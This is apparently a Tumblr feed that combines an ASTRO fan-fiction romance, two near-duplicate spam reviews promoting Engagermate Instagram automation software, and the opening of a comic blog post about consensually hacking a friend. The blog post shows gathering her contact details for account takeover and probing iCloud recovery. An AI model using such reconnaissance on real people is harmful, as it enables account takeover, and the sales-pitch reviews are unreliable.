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etherealxch · 5 years

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something like this

word count: 4078

[a/n] : im baaaaaaack. ok. started this on a whim and it kind of ended up being so long. sorryyyyy. anyways, this is my first scenario of 2019, the first of *hopefully* many to come. as always, i’ll be glad to hear your comments, just hit up my inbox! ps. if you guys reblog this don’t be shy to add something cute in the tags❤️❤️! alsoooo don’t forget to support ASTRO on their comeback guys!

The frozen yoghurt shop is unusually quiet today. It’s 1:32 pm and there’s only been 6 people in here. I check the containers, making sure the cubes of fruits are properly cooled. I wipe a few stray drops of yoghurt from the machine with a cloth and thoroughly rinse that too.

My co-worker, Kailo, looks up from her phone to ask me a question, “Hey, did you know that there’s a new flavour for toothpaste?”

I look at her, wildly amused. “No, I do not.”

Excitedly, she nudges up to my side and shoves her phone in my face.

“But please, enlighten me.” I deadpan, taking the phone from her. I can barely hide my disgust as I read the article. “Oh, that’s just very wrong.”

“Eh, I guess.” She shrugs one shoulder, back to scrolling through her daily newsfeed. That figures; Kailo is the kind of person that would come into work wearing the weirdest things and is still able to pull it off. She is very adventurous and likes trying new things. She told me she once tried kale ice cream and actually liked it.

The front doorbell tinkles, signalling a customer. Kailo takes her order, tapping at the computer screen. I grab a small cup and fill it with fresh frozen yoghurt, then with languid strokes, drizzle cookie sauce over the top and hand it to the customer with a napkin.

“Enjoy.” I offer a smile, handing her the yoghurt. The doorbell tinkles again and Moon Bin enters this time. He waves hi to both me and Kailo.

“Hey. Class finished?” I ask as he walks over to my side of the counter.

“Yeah,” He nods. He sighs. “I kind of need to talk to you about something.”

“Is everything okay?” I look at his expression. He briefly glances at Kailo.

“Not really.” He looks at the clock behind me. “Your shift ends at 2, right?” I nod.

“Then, I’ll just wait here for you.” He orders a medium sized yoghurt and takes his usual spot by the window at the very end of the room, like he always does when he comes here to wait for me. When I had just gotten this part time job, my manager, Sammy and Ji Ah, two other part time workers, and Kailo would always ask me if he was my boyfriend because sometimes if I worked the late night shift, he would swing by and wait for me until my shift ended. He would walk me back to campus then, making sure I safely gotten into my dorm.

They soon got used to me denying me and Moon Bin dating and stopped asking questions. Although Kailo occasionally comments on how she thinks he’s pretty hot. I teased her once about it, offering to help set her up with him and her exact answer was, “Honey, please, he’s not my type.”

I’m pretty sure she doesn’t mean it in a bad way. It’s just he’s really not her type. She usually dates really quickly and the longest I’ve ever her date was with a guy who had his own pet hedgehog. To think of it, I’m not even sure what her type is.

The two hours tick by, with a large group of sleep deprived students walking in and demanding we serve them coffee in between, until I pointed out that the cafe is next door. They eventually ordered frozen yoghurts, apparently too tired to even walk to next door. Sammy enters just in time, to take over my shift.

She clocks in on Moon Bin immediately and then gives me a knowing look.

“Honestly.” I shake my head. Sammy is the only who won’t stop pushing me and Moon Bin together. Sammy has classes with the both of us so she knows Moon Bin as well.

I clock out and grab my staff from the back. Moon Bin is already standing by the counter, waiting for me as I come out from the back. We go outside, the heat of the afternoon blasting from the ground.

“So, what’s wrong?” I ask, as we come to a bench under a shady tree. I’m still in my white cotton collar shirt which is the uniform and am sweating down my back. Moon Bin notices my discomfort.

“D'you want to go home and change first?” He asks.

“No, it’s fine, don’t worry.” I shake my head. “What’s up?”

“You know the show I have to do next Friday?” He says. I nod in response. “Yeah, that’s also the same day my parents are coming to see me.” He waits for the ball to drop.

“Oh. Oh.” I raise my eyebrows in realisation. Moon Bin’s dad doesn’t know that he is enrolled in the Performing Arts Major. His dad wasn’t really supportive of his choice but his mom covered for him and then told him to choose whatever he wanted. If they come this Friday…

“Yup.” He nods gloomily.

“Well, your performance is at night. Maybe they’ll have left by then?” I suggest.

“I…I want to tell him.” He exhales.

“What?”

“I don’t want to lie to him anymore.” He says, turning to me. “I keep having to think of answers to questions about aerospace.” He looks so positively terrified. In spite of myself, I give a small laugh.

“That’s what you told him you were studying?”

“I panicked.” He says defensively.

“Bin, I think that it’s great that you want to tell him the truth but are you sure?” I ask him.

He looks down at his fists. “Yeah. I’m sure.”

“Well, okay then,” I bump my fist at his arm. “I have your back. If there’s anything you need me to do, just tell me.” I smile at him.

We move on from this subject and talk about how rehearsals are going. He digs out the tickets from his pocket and hands them to me, one for me, the other for Sammy, my roommate and Jin Woo’s girlfriend.

“Don’t lose them. You know what, just ask Sammy to take them.” Moon Bin has zero trust in me.

I roll my eyes. “Just because that one time I lost the train tickets–”

“And we had to run all the way back because you’d lost yours and everyone had to re-buy their tickets for the later train.” He reminds me darkly.

Ignoring his words, I tell him that I’ll keep them safe no matter what. It’s his first performance with his parents there, I’m definitely not missing this for anything in the world.

*** “That will be all today. Thank you class.” Our lecturer switches off her slide and packs her laptop up all in one swift movement. Everyone else is either leaving the class or talking to their friends. I check my phone, slightly frowning. Why isn’t he replying?

I flop my bag on the desk, putting my notebook and textbook inside. I check my phone one last time before shoving it in my jacket pocket. As I walk along the hall, passing some students taping a poster on the wall, I spot Rocky and Jin Woo among the crowd.

“Hey, guys,” I catch up to them. They turn, surprised.

“Hey,” They both say, smiling.

They should know where Moon Bin is. “Do you know where Bin is?” I ask. “He didn’t come to class today. And I can’t get hold of him either.”

Rocky glances at Jin Woo before answering. “Oh, he’s probably practising again.”

“Um, see the thing is,” Jin Woo sighs. “He hasn’t stopped since 3 in the morning.”

“What?” My tone is sharp and the two guys in front of me visibly straightens up. “He hasn’t slept?”

Rocky winces. “We rehearsed last night and finished at 10. We went back to the dorm at 10:30–”

“He went out at 3 in the morning to practise by himself again.” Jin Woo explains.

“So, technically, he did sleep for about 4 hours–” Rocky stops when Jin Woo nudges him. I sigh.

“It’s his dad, isn’t it?” I look at them. They both nod slowly.

“He was really stressed out before and now he’s even more stressed than ever.” Rocky says.

“Maybe you should go talk to him. At least get him to stop for a few hours to get some rest.”

They tell me which of the building to go to and what practice room he is in. Two girls and a guy look at me suspiciously as I walk down the corridor blindly before finally giving up and asking them for directions. Standing outside the door, I can hear the thump of the music and someone’s feet moving rapidly. They don’t stop even when I knock on the door.

Moon Bin finally looks up as I enter the room. “Ae Ra.” He stops dancing. “What are you doing here?”

“I’m here to check up on you.” I say. I watch as he turns off the speaker and plops down on the floor, exhausted. I grab his towel from a chair nearby and toss it at him, landing on his head.

“Bin–” I start, sitting down in front of him. He wipes at his face, refusing to look at me.

“I know, you want me to get some rest. But the show is two days away. I can’t afford to waste any time.” He finally says, lowering his head while fidgeting with the corner of the towel.

“You’re exhausted, Bin.” I say. “Did you even eat breakfast?”

When he looks back at me, his eyes wet around the rim. “I’m just so scared.” He says. “I mean, it’s my dad. He’s never approved of my interest in performing on stage, says it’s a waste of money.

How am I going to impress him, Aera?” His voice cracks slightly. I scoot closer to him to hug him. He leans his head on my shoulder, taking a deep breath.

“You don’t have to impress him, you know?” I say softly. “Just show him what you can do. You may disagree on somethings but in the end you’re his son, he’ll love you no matter what.” I pat his hair, slick with sweat, wince a little and try to discreetly wipe it on my pants. He gives a soft chuckle.

“I can see you through the mirror.”

“You’re disgusting. Please go take a shower.” I deadpan. He laughs as we pull apart.

“Thank you. You seem to always find the right things to say.”

“What? Like asking you to take a shower?” I joke.

He chuckles and absentmindedly pecks the top of my forehead. I stare at him, startled by this out of the blue yet affectionate action. His eyes shift; contemplating something. He slowly leans in and to my surprise, I do too.

“HEY BIN–” Our lips barely touch when Rocky bursts through the door. We pull away with the urgency of a dog chasing after a cat. Rocky stares at us, speechless.

I stand up abruptly. “I have-have a, um, shift.” I say to no one in particular. “So I, yeah, um, okay, byeeee.” Shit, I sound like Jake Peralta. But there’s no time to dwell on that as I leave the room at top speed. I’m so concentrated on leaving that I almost knock down Sammy by the stairs.

“Woah, hey,” She says. “Have you seen Jin Woo?”

“Uh, um,” I clear my head, trying to think of an answer. “No.”

“Oh-kay,” She frowns. “Are you alright?”

“Me? Yeah, yeah, totally fine.” I swallow. “Listen, I gotta go. I have….a class.”

I scurry down the stairs and out of the building. I walk and walk with no actual sense of direction. Walking keeps me occupied. If I stop, I keep thinking of…that. Eventually, my legs tire out and I plop down on a bench. How did that happen? My face heats up even at just the thought of it and despite myself, I feel a bit giggly on the inside. He’s my friend! I shouldn’t be having thoughts like this.

We barely talk on the phone, our usual routine, for the next few days until the show. I’d like to say it’s mainly because he’s busy practising and I’m busy with my shifts and assignments. We do text back and forth, but avoid talking about what happened. Texting is easier, because we don’t sound awkward at all. We still sound the same, playful banter, some nagging.

“Lighten up.” Kailo hisses at me. I’m slumped behind the counter, playing with a plastic spoon. The doorbell rings and a couple of people walk in chattering. I get up from my seat and grab a cone to fill. I drizzle cranberry sauce on it and wrap a napkin around half the cone before handing it to the customer.

After giving the customer her change, Kailo turns to survey me. “What’s up with you?”

“Nothing. Assignments,” I reply automatically, back in my slump seat.

“Something happened with Moon Bin?”

I sit up, alert and suspicious. “How did you know?”

She puts up both of her hands, her eyes wide. “I didn’t. I guessed.” She says.

“Oh.” I mumble.

She looks at me. “Whatever it is, it’ll eventually work its way out.”

I wince. “I’m not so sure about this.” She moves her attention away from me when the doorbell tinkles. She urgently nudges my arm and I’m about to give her an annoyed look when I see the people standing in front of me: Moon Bin and his parents.

I scramble up, face red and unable to look at anything except for the countertop. I can feel Moon Bin’s eyes on me but I resolutely stare at the cup and cone model that shows our customers what the different cup sizes look like. I start making their orders, three cones. As I hand it over to them, I smile politely at his parents; over the five years I’ve known him, I’ve seen his mother more than his father. I surreptitiously glance at his dad’s expression, which is hard and realise he must have told him already.

As they leave to take a seat, I grab my phone. There are 5 unread messages all from him.

‘I’m having lunch with them now.’

‘Probably going to tell him now.’

‘Going to find somewhere to talk.’

'Headed to the yoghurt shop.’

'You busy?’

These were all sent before they came here.

I look at them talking by the window. It seems like Moon Bin has got everything under control, although his father doesn’t look too happy. I look worriedly in the direction of the washroom; Kailo’s been in there for a long time. As they get up to leave, I shoot a questioning glance at Moon Bin, who nods slightly at me.

I don’t really understand but it must mean that his dad is willing to give him a chance. Kailo emerges from the washroom looking pale with one hand clutching her stomach.

“Kailo! Are you okay?”

“Ohhh, I think something went wrong with my lunch.” She sits down heavily. Her expression is pained as she drinks from her water bottle.

“What did you have?” I ask.

“Sushi.” She pauses as her stomach makes a weird sound. I offer to go the pharmacy to buy some medicine but she shakes her head, saying it’s all out of her system. That doesn’t seem to be the case even after two hours, I’ve been manning the cash register and making the orders for the customers while she sits weakly behind the counter, out of sight from customers.

“Kailo, I think you need to go to a clinic.” I frown, getting her a cup of warm water. Her hair plastered to her forehead from all the cold sweat.

“But, you have to leave soon and if I do too, no one is going to be here.”

I check the time. The show starts at 7. If Ji Ah makes it here by 8, I can still make it. “I can stay until Ji Ah comes. Just go to the clinic Kailo.”

She doesn’t even bothering protesting anymore. Before leaving, she gives me an apologetic hug. I tell her to tell me when she’s at the doctors to be safe. I look at the clock. I won’t have time to go home and change now. Business is slow between dinner hours so there’s really nothing much I can do, except pray that Ji Ah arrives here as soon as possible.

8:11 p.m. I am about to scratch the walls with frustration. Where is Ji Ah? I text Sammy to check if Moon Bin, Jin Woo and Rocky has performed yet.

'Almost. Where R U???’

I sigh and shoot off a quick reply. Ji Ah rushes through the door, out of breath. “Sorry sorry sorry sorry sorry.”

“Okay, I’ve got to go, bye!” I’ve been ready ever since 7:45 so I just grab my bag and hurry out the door. Sammy comes out to meet me when I arrive at the auditorium. She grabs my hand, pulling me inside. We pass rows and rows of seats in the darkness. I glance briefly at the stage just as the three of them emerge on stage. The music starts as I take my seat, trying to catch my breath. Moon Bin’s eyes flicker towards the crowd and then spots me. He gives the smallest smile and then resumes his performance.

The three of them work in perfect harmony, moving to each beat. I look around and see his parents a few rows over. His mother looks positively proud while his dad leans back against his seat, an unreadable expression on his face. The audience gives a loud cheer when Rocky does a spin mid-air, earning a bashful smile from him.

The performance ends with the crowd hyped up. After two vocal performances and a small skit, the show ends. There’s the sound of people talking and feet shuffling as they get ready to leave. Sammy and I make our way out and manage to find our way to backstage. We find the guys, with three of their other friends, Sanha, Eun Woo and MJ already with them.

“You guys were awesome!” I say, while Sammy gives them the thumbs up.

“I honestly thought I was going to trip and fall at one point.” Rocky says.

“That’s because you almost stepped on my foot.” Jin Woo shakes his head. As they bicker on, Moon Bin’s focus shifts to behind us; his parents. He excuses himself to walk over to them. We move farther away so as to give me some privacy in all the hubbub at backstage. MJ starts showing them the video he took of them on stage.

“That’s so unflattering.” Sanha comments. He whips out his phone. “You should look at the one I took.” They argue who recorded the best video with Jin Jin exasperatedly chiming in to say at one point, “None of you are Steven Spielberg. None.” and Rocky saying, “You should’ve taken it from my left.”

I look away from their tirade as Moon Bin hugs both of his parents, who leaves and walks toward us, a look of relief on his face. “Everything okay?” I ask, as he nears. Everyone turns their attention to him.

“Yeah,” He exhales a little shakily. He gives a smile. “He doesn’t get the dancing.” We pause, unsure how to response.

“And you’re smiling because…?” Eun Woo asks.

“Because he said I could continue my major, even though he didn’t understand it.” He gives a small laugh. “He’s letting me stay on!” We cheer, hugging him all at once, ignorant to the other looks in the room.

My phone vibrates a message from Kailo who tells me she’s at home now. I see another one from her when she was at the doctors. I tell them I’m going out to make a call where it’s quieter so I can actually hear what someone is saying.

“Hey, are you feeling better?” I ask. “What did the doctor say?”

“I’m feeling sooo much better now.” Kailo’s voice, although not yet back to her normal tone was sounding much more alert than a few hours ago. “It turns I have a very weak intestine and I’m technically not allowed to eat anymore raw fish.”

“I told you, 'Fish are friends not food’.” I quote 'Finding Nemo’ to her.

“That’s just because you don’t eat raw fish.” She says. “Say that again when you’re eating battered cod with chips. Maybe then I’ll believe you.”

She yawns and I tell her to go to bed. She says she will but not before watching an episode of Kim’s Convenience. I hang up, turning to go back inside when I see Moon Bin waiting for me.

“Where are the others?” I walk up to him.

“They went to celebrate. I told them to go ahead first.” Moon Bin says.

“Oh.” Awkward silence. Not wanting to feel weird around him, I hold up my phone.

“I just got off the phone with Kailo. She was feeling unwell just now. Ate some sushi. She had to go to the doctors and there was not anyone to stay at the shop. That was why I was late to the show.”

He lets out a breath that I didn’t know he was holding. “Oh. That’s why.” He scratches his neck. “I thought you weren’t going to come.”

“Why would you think–” I pause as realisation hits me. “Oh.”

“Is she feeling better?” I look up at him, confused, then realise he means Kailo.

“Yeah. She’s okay now.” I nod. There’s another pause where neither of us says anything, then as if he can’t stand it, he says, “Should we talk about what happened the other day?”

I bite the inside of my cheek. “Yeah, I think we should.”

We walk around, finding some place to sit, heading towards the campus park. Not for the first time ever, I marvel at the size of this entire university. It’s like a small village could literally just live here. We walk along the path, lined with small grey pebbles and small lights installed on the ground, so that it looks like one of those airplane runways.

“So, I guess I should apologise first.” Moon Bin says, as we take a seat on one of the park benches.

I open my mouth to protest but he stops me. “Just–let me finish.

What happened the other day. I shouldn’t have done it. I was feeling helpless and you were there as a friend and I shouldn’t have kissed you,” He continues. “That wasn’t how I…” He trails off.

“You what?” I ask, catching his hesitation.

“It wasn’t how I…,” He scratches his neck again, an action he does when he’s embarrassed. “…imagined I would kiss you. Not in that situation.”

I stare at him dumbly, too stunned to speak. There’s so many parts to his explanation that needs more explaining.

“I-I….” I swallow. “Um, okay.”

He lets me take my time, albeit the concerned look on his face is kind of endearing. “Moon Bin, what do you mean it was how you imagined?”

“Oh. That.” He says, as if he hadn’t thought of explaining that part to me. “Um, see, I kind of, really like you.” He fixes his eyes on mine. I think I can fully comprehend what the phrase 'heart beating against ribcage like a freaking earthquake’.

“Well,” I find my voice again. “In what situation would you have wanted to…kiss me?”

He gives the cutest/ most bashful smile ever and leans in to peck me on my lips. “Something like this?”

In spite of myself, I smile, feeling giddy. “Could you do that again?”

He smiles, leaning in again but this time I do too. This kiss lasts longer than the former and when it ends, he gently kisses my forehead. “Thank you.” He chuckles softly that my heart does a small skip.

“For what?” I laugh, even if it isn’t that funny.

“Just.” He shrugs. “Thank you.”

“You know, if you’re trying to be all mysterious and romantic like in dramas and stuff, it really isn’t going to work on me, because I won’t understand a thing you’re doing.” I joke, smiling.

You just never know when you’re going to open your eyes and fall for someone who’s been by your side this entire time.

BONUS :

“DID YOU GUYS MAKE A BET ON US GETTING TOGETHER?!”

#ASTRO #Astro #astro scenarios #moonbin scenarios #all night #all light #Astro all night #Astro all light #moon bin #kpop scenarios #ethereal-17

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deeplyaveragefourthgrader-blog · 5 years

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Engagermate Review - Does It Really Help Your Instagram

What's Engagermate about?

Engagermate OTO is special software for Instagram. It works to help you make money from traffic on Instagram. It will allow you to attract likes, shares, or comments.

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dragonsflowerx-blog · 5 years

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Engagermate Review - Does It Really Help Your Instagram

What is Engagermate about?

Engagermate OTO is unique software for Instagram. It works to help you generate income from visitors on Instagram. It can help you attract shares, likes, or comments.

This can help you get tons of the most lucrative traffic. This software includes many outstanding features. We'll learn more about them in the sections below.

Luke Maguire is the person behind this item. He's been active in this area around a very long time. With his experiences, he produced lots of great bodily products. They have defeated even the toughest customers.

We also reviewed a number of his quality products: Socialite Pro, Live Leap, InstaEasy, Viral Autobots and more.

Now let's learn about the powerful features that it offers in case you purchase this product.

youtube

Outstanding Features and Advantages of Engagermate

Send messages directly

You can send an inbox to your clients when you follow them. This is a distinctive feature of applications for Instagram.

Powerful tracking

This program will scan and locate fans and automatically follow them. Furthermore, you can participate in the content of the visitors you are looking to target.

Another excellent thing is that the program will automatically find out where your clients come from. It helps you create the right efforts to create many potential clients.

Detailed notice

This software includes a feature that notifies you of ongoing activities in your Instagram profile. You can know well how to control your action.

This program works extremely strongly with mobile devices. All of us know traffic now comes mostly from mobile devices. With this feature, you will not miss a large customer base.

You can search for visitors in various ways such as user profiles, place or Hashtag.

Automatically stop tracking

This tool will automatically unfollow when followers don't interact with you for quite a long time. This helps to keep your friends list fresh.

Send messages

Whenever there are visitors following you, the program will automatically send messages to clients so that you don't miss potential clients. You can increase interaction with clients.

Target potential customers

This software includes commercial filters. So you can interact with potential customers to create more sales.

I used this product as beta tester and now I will make this fair review for you.

So that you can expect everything out of my review.

Note1: Before describing main features, I will offer you an overview about this item. Please take a look to my screenshot below:

Here is main Engagermate dashboard:

From this main dashboard, you can enable the function you want, for example: like, follow, and unfollow.

And it also shows your summary of activities/today.

This Engagermate has no upsell, everything is under Front-end. It includes 5 main modules, including: Settings, Advanced settings, Direct, Optimizer, and Reports and Statistics.

This module comes with some features as below:

From my screenshot above, you see you just need to prepare your campaign at the start, and then the tool works automatically for you.

You can add more hashtags, more places,more followers to your campaign when you want without any restriction.

There are few features at the bottom like"like newsfeed","like settings","max and min settings","follow settings","unfollow settings,"unfollow cycle configuration","business profiles configuration".

Totally up to you, you can use it or not. You can read the description of it from my screenshot above.

I am not going to explain more because it's very clear though.

This module allows you to avoid interacting with some particular customers you want.

View my screenshot below:

Simply put any username you want into the box and done.

At bottom there are two buttons: Download Settings and Load Settings.

It allows you to download the file loaded with your own settings, and then you can use it again and again for your different IG accounts.

This module allows you send 20 messages into your 20 new followers each day.

It happens at the time somebody's else follows your profile.

The special thing here is you have to register first 4 existing usernames with 4 different messages by putting the info to the box like below:

I think the limitation with 20 messages here is good because it helps you avoid getting your account banned.

4/Optimizer:

This module allows you to receive info about your configuration from your accounts.

For example: You add some particular hashtags to your account during 1/May to 10/May, and this tool shows you the stat within this period.

You can select to check your stat under hashtags, accounts, or places as below:

For Instance, I will select hashtag and here is my stat:

5/Reports and Statistics:

This section is where you can view your activities from your accounts.

See my screenshot:

Do you find it easy to disperse? Even if you are someone who has no experience or abilities, you will not have any problems.

In addition, there'll be a video which will guide you step by step to take advantage of all of the features of this tool.

This tool also includes Mobile App (IOS and Android included).

What I love here is it includes fully modules like PC version, so that you can get it from your cellphone and you can use your mobile to manage your IG account all of the time.

What I am sure about this tool is it's totally different to other programs in the marketplace. Engagermate runs the subsequent procedure under specific objects, not automatic items.

This avoids your account getting banned or something like that.

Forget some tools you see on the current market, they're after unclear objects on autopilot. They help you get major numbers of followers so fast but your account will be banned shortly.

That is why I highly recommend you to buy Engagermate today because it's safer.

ALSO, I MADE A WALKTHROUGH VIDEO TO MAKE SURE YOU FULLY UNDERSTAND ABOUT THIS TOOL, PLEASE WATCH IT NOW

Who Should Use It?

In my experience, this program is really for internet businesses on Instagram. It's really for both newbies and professionals.

Affiliate marketers

Business owners on Instagram

Owner of stores on Instagram

Bloggers

And many other clients

Pros and Cons

Pros

▪ No need to interfere with other costly software

▪ Totally friendly with new people

▪ 24/7 counsellor

▪ No need to pay for visitors

▪ No need to pay monthly charges

Cons

▪ I have not discovered any disadvantages when using this software. There's just a small note for one to always check your internet connection for the best results.

Price and Evaluation (No Upsell For This Product)

To get all the features I just mentioned above, you want to spend 47 bucks. This is quite a excellent price for buyers. However, this price will not stay. It will increase after a few days to come. So, if you want to buy it, I suggest purchasing it today or tomorrow to get the best price.

In addition, there'll be some other powerful upgrades to select from. You can see their details on their sales page.

Moreover, there'll be a 30-day return policy for you. In other words, when you are not satisfied with the software, you can ask the provider to refund the previous amount without any reason. You'll need to wait a few days for you to complete this process. However, I think you will never need to click on the return button since it works so well and I experienced it myself.

Engagermate is actually software not to be missed if you are active on Instagram. I think if you are a smart person, you will know what is really necessary for you.

You can refer to many other reviews about this program. But when you choose to purchase, return to my site and click on the link below to get the lowest price.

For those who have anything else to know about this software, you can leave me a comment below. I will answer you as fast as possible.

https://uprafficoto.com/

1 note · View note

dontstalkmebish-blog · 5 years

Text

Engagermate Review - Does It Really Help Your Instagram

What is Engagermate about?

Engagermate OTO is special software for Instagram. It works to help you generate income from traffic on Instagram. It will help you attract shares, likes, or comments.

This will help you get tons of the most profitable traffic. This software consists of many outstanding features. We will learn more about these in the sections below.

Luke Maguire is the person behind this item. He has been active in this field around a very long time. With his experiences, he created lots of great bodily products. They've conquered even the most demanding customers.

We also reviewed a number of the quality products: Socialite Pro, Live Leap, InstaEasy, Viral Autobots and much more.

Now let us learn about the powerful features that it offers if you buy this product.

Outstanding Features and Benefits of Engagermate

Send messages directly

You can send an inbox to your clients when you follow them. This is an exclusive feature of software for Instagram.

Powerful tracking

This program will scan and find fans and automatically follow them. Moreover, you can participate in the content of the people you are looking to target.

Another excellent thing is that the program will automatically find out where your clients come from. It enables you to create the correct campaigns to create many potential clients.

Detailed notice

This software includes a feature that informs you of ongoing activities on your Instagram profile. You can know well how to control your action.

This program works extremely strongly with mobile devices. All of us know traffic today comes primarily from mobile devices. With this feature, you will not miss a large customer base.

You can search for visitors in different ways such as user profiles, location or Hashtag.

Automatically stop tracking

This tool will automatically unfollow when followers don't interact with you for a long time. This helps to keep your friends list new.

Send messages automatically

Whenever there are traffic following you, the program will automatically send messages to clients so that you don't miss potential clients. You can increase interaction with clients.

Target potential customers

This software consists of commercial filters. So you can interact with potential customers to create more sales.

youtube

My Experience In Using It and How to Use It?

I used this product as beta tester and today I will make this honest review for you.

So that you can trust everything from my review.

Note1: Before explaining main features, I will offer you an overview about this item. Please have a look to my screenshot below:

Here is main Engagermate dashboard:

From this main dashboard, you can enable the function you need, for example: like, follow, and unfollow.

And it also reveals your summary of activities/today.

It includes 5 main modules, including: Preferences, Advanced settings, Direct, Optimizer, and Reports and Statistics.

This module comes with a few features as below:

From my screenshot above, you see you just have to set up your campaign at the beginning, and then the tool works for you.

You can add more hashtags, more places,more followers to your campaign when you want with no restriction.

There are just a few features at the base like"like newsfeed","like settings","max and min settings","follow settings","unfollow configurations,"unfollow cycle configuration","company profiles configuration".

Totally your choice, you can use it or not. You can read the description about it from my screenshot above.

I'm not going to explain more because it's very clear though.

2/Advanced Settings:

This module allows you to refrain from interacting with some particular users you want.

See my screenshot below:

Just put any username you want into the box and done.

At bottom there are two buttons: Download Settings and Load Settings.

It allows you to download the file packed with your own preferences, then you can use it again and again for your different IG accounts.

This module enables you send 20 messages into your 20 new followers per day.

It occurs at the time someone's else follows your profile.

The special thing here is you have to register first 4 existing usernames with 4 different messages by placing the data to the box like below:

I think that the limitation with 20 messages is great because it enables you to avoid getting your account banned.

This module allows you to receive info about your configuration from your accounts.

For instance: You add some particular hashtags to your account during 1/May to 10/May, and this tool shows you the stat within this period.

You can select to check your stat under hashtags, accounts, or areas as below:

For example, I will select hashtag and here is my stat:

5/Reports and Statistics:

This section is where you can view your activities from your accounts.

Do you find it easy to spread? Even if you are a person who has no experience or skills, you will not have any problems.

In addition, there will be a video which will guide you step by step to take advantage of all the features of this tool.

NOTE:

This tool also comes with Mobile App (IOS and Android included).

What I love here is it comes with fully modules like PC version, so that you can access it from your mobile and you can use your mobile to manage your IG account all the time.

What I'm sure about this tool is it's totally different to other programs in the marketplace. Engagermate runs the following process under specific objects, not automatic objects.

Forget some tools you see on the market, they are following unclear objects on autopilot. They help you get major numbers of followers so quickly but your account will be banned soon.

That's why I highly recommend you to get Engagermate today because it's safer.

ALSO, I MADE A WALKTHROUGH VIDEO TO MAKE SURE YOU FULLY UNDERSTAND ABOUT THIS TOOL, PLEASE WATCH IT NOW

Who Should Use It?

In my experience, this program is really for online businesses on Instagram. It is really for both newbies and professionals.

I strongly mention this product if you are

Affiliate marketers

Business owners on Instagram

Owner of stores on Instagram

Bloggers

And many other customers

Pros and Cons

Pros

▪ No need to interfere with other expensive software

▪ Works on any device

▪ 24/7 counsellor

▪ No need to pay for traffic

▪ No need to pay monthly charges

Cons

▪ I've not discovered any disadvantages when using this software. There's only a small note for one to always check your internet connection for the best results.

Price and Evaluation (No Upsell For This Product)

To get all the features I just mentioned above, you need to spend 47 bucks. This is quite a excellent price for buyers. However, this price will not stay. It will increase after a couple of days to come. So, if you want to buy it, I suggest purchasing it today or tomorrow to find the best price.

In addition, there will be a few other powerful upgrades to select from. You can see their details on their page.

Moreover, there will be a 30-day return policy for you. To put it differently, once you are not satisfied with the software, you can ask the provider to repay the former amount with no reason. You'll have to wait a couple of days for you to complete this process. However, I believe that you will never have to click on the return button because it works so well and I experienced it myself.

Engagermate is really software not to be missed if you are active on Instagram. I think if you are a wise person, you will understand what is really necessary for you.

You can refer to many different reviews about this program. But when you choose to purchase, go back to my site and click on the link below to find the lowest price.

For those who have something else to know about this software, you can leave me a comment below. I will answer you as fast as possible.

https://uprafficoto.com/

1 note · View note

defaultnamehere · 7 years

Text

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "[email protected] phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at [email protected] or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

